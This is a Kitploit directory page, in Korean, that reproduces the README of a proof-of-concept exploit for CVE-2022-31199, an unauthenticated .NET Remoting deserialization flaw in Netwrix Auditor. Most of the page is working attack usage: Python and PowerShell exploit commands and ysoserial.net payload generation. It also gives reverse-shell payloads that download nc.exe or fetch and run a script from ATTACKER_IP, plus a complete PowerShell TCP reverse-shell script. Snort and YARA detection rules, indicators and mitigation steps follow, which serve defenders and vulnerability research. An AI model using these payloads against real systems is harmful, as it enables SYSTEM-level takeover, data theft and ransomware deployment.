Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-31199 — CVE-2022-31199에 대한 개념 증명 익스플로잇입니다. Netwrix Auditor의 치명적인 .NET 역직렬화 RCE 취약점입니다. Python 및 PowerShell 스크립트, ysoserial.net을 사용한 페이로드 생성, 그리고 인가된 보안 테스트를 위한 탐지 시그니처를 포함합니다. | Kitploit
도구/GitHubGitHub/developerfred/cve-2022-31199
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHubdeveloperfred/cve-2022-31199

CVE-2022-31199

CVE-2022-31199에 대한 개념 증명 익스플로잇입니다. Netwrix Auditor의 치명적인 .NET 역직렬화 RCE 취약점입니다. Python 및 PowerShell 스크립트, ysoserial.net을 사용한 페이로드 생성, 그리고 인가된 보안 테스트를 위한 탐지 시그니처를 포함합니다.

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-31199 - Netwrix Auditor RCE 익스플로잇 POC

🔍 취약점 개요

CVE-2022-31199는 Netwrix Auditor 10.5 미만 버전에서 발견된 심각한 안전하지 않은 개체 역직렬화 취약점입니다. 이 취약점은 TCP 포트 9004에서 수신 대기하는 보안되지 않은 .NET Remoting 서비스에 존재하며, 인증되지 않은 원격 공격자가 NT AUTHORITY\SYSTEM 권한으로 임의 코드 실행을 달성할 수 있습니다.

취약점 세부 정보

  • CVE ID: CVE-2022-31199
  • CVSS 점수: 9.8 (Critical)
  • CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화)
  • 영향받는 버전: Netwrix Auditor < 10.5
  • 공격 벡터: 네트워크 (인증 없음)
  • 필요 권한: 없음
  • 영향: SYSTEM 권한으로 완전한 시스템 장악
  • CISA KEV: 알려진 익스플로잇 취약점 목록에 등재

실제 영향

이 취약점은 이미 다음과 같은 그룹에 의해 실제 환경에서 적극적으로 악용되었습니다:

  • Truebot 멀웨어 캠페인 (러시아 연계 CL0P/TA505 랜섬웨어 운영자)
  • Silence 사이버 범죄 그룹
  • FIN11 위협 행위자

성공적인 익스플로잇은 일반적으로 다음으로 이어집니다:

  • 전체 Active Directory 도메인 장악
  • 모니터링되는 시스템 간 측면 이동
  • 데이터 유출
  • 랜섬웨어 배포

📦 저장소 내용

이 저장소는 CVE-2022-31199에 대한 완전한 개념 증명(POC) 익스플로잇을 포함합니다:

파일

  1. exploit.py - Python 기반 익스플로잇 프레임워크
  2. exploit.ps1 - PowerShell 익스플로잇 스크립트
  3. README.md - 본 문서
  4. manual-exploitation.md - 단계별 수동 익스플로잇 가이드

🛠️ 요구 사항

필요한 도구

Windows 기반 익스플로잇 (권장)

  • ysoserial.net - .NET 역직렬화 페이로드 생성기

    • 다운로드: https://github.com/pwntester/ysoserial.net
    • 릴리스: https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - .NET Remoting 익스플로잇 도구

    • 다운로드: https://github.com/tyranid/ExploitRemotingService
    • 대안 (향상된 버전): https://github.com/codewhitesec/ExploitRemotingService

Python 스크립트 요구 사항

  • Python 3.6 이상
  • 표준 라이브러리만 필요 (기본 점검을 위한 외부 종속성 없음)
  • ysoserial.net 및 ExploitRemotingService 실행 파일에 대한 접근 권한

PowerShell 스크립트 요구 사항

  • PowerShell 5.1 이상
  • Windows 운영 체제
  • ysoserial.exe 및 ExploitRemotingService.exe가 스크립트 디렉토리에 위치

🚀 빠른 시작

1. 대상이 취약한지 확인

Python 사용:

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --check

PowerShell 사용:

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. 페이로드 생성

root@kitploit:~
# ysoserial.net 사용
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. 익스플로잇 실행

Python (사전 생성된 페이로드 사용):

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell (자동):

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 상세 사용법

Python 익스플로잇 (exploit.py)

기본 취약점 확인

root@kitploit:~
python3 exploit.py --target 10.10.10.100 --check

사용자 정의 페이로드로 전체 익스플로잇

root@kitploit:~
# 1단계: 페이로드 생성
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# 2단계: 익스플로잇 실행
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

고급 옵션

root@kitploit:~
# 사용자 정의 포트
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# 사용자 정의 엔드포인트
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

명령줄 인수

root@kitploit:~
--target    : 대상 IP 주소 또는 호스트명 (필수)
--port      : 대상 포트 (기본값: 9004)
--endpoint  : .NET Remoting 엔드포인트 이름 (기본값: UAVRServer)
--check     : 취약점만 확인, 익스플로잇하지 않음
--payload   : ysoserial.net에서 생성된 Base64 인코딩 페이로드

PowerShell 익스플로잇 (exploit.ps1)

취약점 확인만

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

명령 실행

root@kitploit:~
# 간단한 명령 실행
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# 출력을 파일로 저장
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# 사용자 정의 포트
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

매개변수

root@kitploit:~
-Target     : 대상 IP 주소 또는 호스트명 (필수)
-Port       : 대상 포트 (기본값: 9004)
-Command    : 대상에서 실행할 명령 (기본값: "whoami")
-CheckOnly  : 취약점만 확인, 익스플로잇하지 않음

🎯 익스플로잇 예제

예제 1: 정보 수집

root@kitploit:~
# 시스템 정보 확인
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

예제 2: 리버스 셸

리스너 설정:

root@kitploit:~
nc -lvnp 4444

페이로드 생성:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

예제 3: PowerShell 리버스 셸

리버스 셸 스크립트 생성 (rev.ps1):

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

스크립트 호스팅:

root@kitploit:~
python3 -m http.server 8000

페이로드 생성:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

예제 4: ExploitRemotingService 직접 사용

root@kitploit:~
# 연결 테스트
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# 임대 모드로 실행 (일부 보호 우회)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# 개체 참조로 실행
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 기술 세부 정보

취약점 근본 원인

취약점은 다음에서 비롯됩니다:

  1. TCP 포트 9004의 보안되지 않은 .NET Remoting 엔드포인트
  2. 적절한 형식 필터링 없이 BinaryFormatter 역직렬화 사용
  3. 임의의 직렬화된 개체를 수락하는 UAVRServer 서비스
  4. 일반적인 배포에서 SYSTEM 권한으로 실행되는 서비스

익스플로잇 과정

root@kitploit:~
1. 공격자가 TCP 포트 9004에 연결
2. .NET Remoting 서비스 식별 (UAVRServer 엔드포인트)
3. ysoserial.net을 사용하여 악성 직렬화 페이로드 생성
4. .NET Remoting 프로토콜을 통해 페이로드 전송
5. 대상이 BinaryFormatter를 사용하여 개체 역직렬화
6. 가젯 체인이 임의 코드 실행
7. 코드가 NT AUTHORITY\SYSTEM 권한으로 실행

지원되는 가젯 체인

다음 ysoserial.net 가젯이 이 취약점에 대해 작동합니다:

  • TypeConfuseDelegate (권장)
  • ObjectDataProvider
  • PSObject
  • WindowsIdentity
  • TextFormattingRunProperties

네트워크 프로토콜

root@kitploit:~
.NET Remoting 프로토콜 구조:
┌─────────────────────────────────────┐
│ 프리앰블 (8바이트)                   │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ 헤더                                │
├─────────────────────────────────────┤
│ URI (UAVRServer)                    │
├─────────────────────────────────────┤
│ 직렬화된 개체 (BinaryFormatter)      │
└─────────────────────────────────────┘

🛡️ 탐지

네트워크 지표

Snort/Suricata 규칙

root@kitploit:~
alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

침해 지표 (IOC)

  • TCP 포트 9004에 대한 예상치 못한 연결
  • .NET Remoting 헤더가 포함된 대용량 패킷
  • BinaryFormatter 직렬화 시그니처
  • UAVRServer.exe 컨텍스트에서의 프로세스 실행

호스트 기반 탐지

취약한 서비스 확인:

root@kitploit:~
# 포트 9004가 수신 중인지 확인
netstat -ano | findstr :9004

# 프로세스 식별
tasklist /FI "PID eq [PID]"

이벤트 로그 모니터링:

  • UAVRServer.exe에서 비정상적인 프로세스 생성 확인
  • SYSTEM 수준의 명령 실행 모니터링
  • 감사 서비스의 네트워크 연결 확인

YARA 규칙

root@kitploit:~
rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "CVE-2022-31199 익스플로잇 시도 탐지"
        author = "보안 연구원"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

🔒 완화 조치

즉시 조치

  1. Netwrix Auditor 10.5 이상으로 업데이트

    • 버전 10.5.10936.0 (2022년 6월 6일) - 초기 수정
    • 버전 10.5.10977.0 (2022년 10월 27일) - 추가 보호
  2. 네트워크 분할

    • TCP 포트 9004를 신뢰할 수 없는 네트워크에 노출하지 마십시오
    • Netwrix Auditor를 방화벽 뒤에 배치
    • 네트워크 접근 제어 구현
  3. 모니터링

    • 포트 9004에 대한 비정상적인 연결 모니터링
    • UAVRServer.exe에서 프로세스 실행 시 경고
    • SYSTEM 수준 명령 실행 감시

확인

root@kitploit:~
# Netwrix Auditor 버전 확인
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version

# 포트 노출 여부 확인
Test-NetConnection -ComputerName localhost -Port 9004

# 방화벽 규칙 확인
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}

📚 참고 자료

공식 권고

  • Bishop Fox 권고: https://bishopfox.com/blog/netwrix-auditor-advisory
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-31199
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Netwrix 성명: https://www.netwrix.com/netwrix_statement_on_cve202231199.html

기술 자료

  • ysoserial.net: https://github.com/pwntester/ysoserial.net
  • ExploitRemotingService: https://github.com/tyranid/ExploitRemotingService
  • Code White Research: https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
  • NCC Group: https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

위협 인텔리전스

  • Arctic Wolf 분석: https://arcticwolf.com/resources/blog/cve-2022-31199/
  • NopSec 게시물: https://www.nopsec.com/resources/just-in-time/just-in-time-bulletin-cve-2022-31199-netwrix-insecure-object-deserialization-rce/

⚠️ 법적 고지

root@kitploit:~
중요: 이 개념 증명(POC) 익스플로잇은 다음 목적으로만 제공됩니다:
- 교육 목적
- 승인된 보안 테스트
- 취약점 연구
- 방어적 보안 운영

컴퓨터 시스템에 대한 무단 접근은 불법입니다.

이 도구를 사용함으로써 귀하는 다음에 동의합니다:
1. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트할 것
2. 모든 관련 지역, 주 및 연방 법률을 준수할 것
3. 도구를 책임감 있고 윤리적으로 사용할 것
4. 악의적인 목적으로 사용하지 않을 것

저작자는 이 도구의 오용에 대한 책임을 지지 않습니다.
사용에 따른 모든 위험은 사용자 본인에게 있습니다.

🤝 기여

문제나 개선 사항을 발견하셨나요? 자유롭게:

  • 관련 저장소에 이슈를 열어주세요
  • 개선 사항이나 추가 기술을 제출해 주세요
  • 탐지 시그니처를 공유해 주세요

📝 크레딧

  • Bishop Fox - 취약점 최초 발견 및 공개
  • James Forshaw - ExploitRemotingService 프레임워크
  • Alvaro Munoz - ysoserial.net 개발
  • ProjectDiscovery - Nuclei 템플릿 프레임워크

📅 타임라인

  • 2022년 6월 6일 - Netwrix, 수정 사항이 포함된 버전 10.5 출시
  • 2022년 7월 - Bishop Fox, 권고 게시
  • 2022년 10월 27일 - 추가 패치 출시 (버전 10.5.10977.0)
  • 2023년 5월 - 실제 익스플로잇 관찰됨 (Truebot 캠페인)
  • 2023년 7월 11일 - CISA KEV 카탈로그에 추가됨
  • 2024년 11월 - 방어 연구를 위한 POC 공개

버전: 1.0
최종 업데이트: 2024년 11월 17일
유지 관리자: 보안 연구 커뮤니티

질문이나 문제가 있는 경우 공식 권고 및 문서를 참조하십시오.

도구 다운로드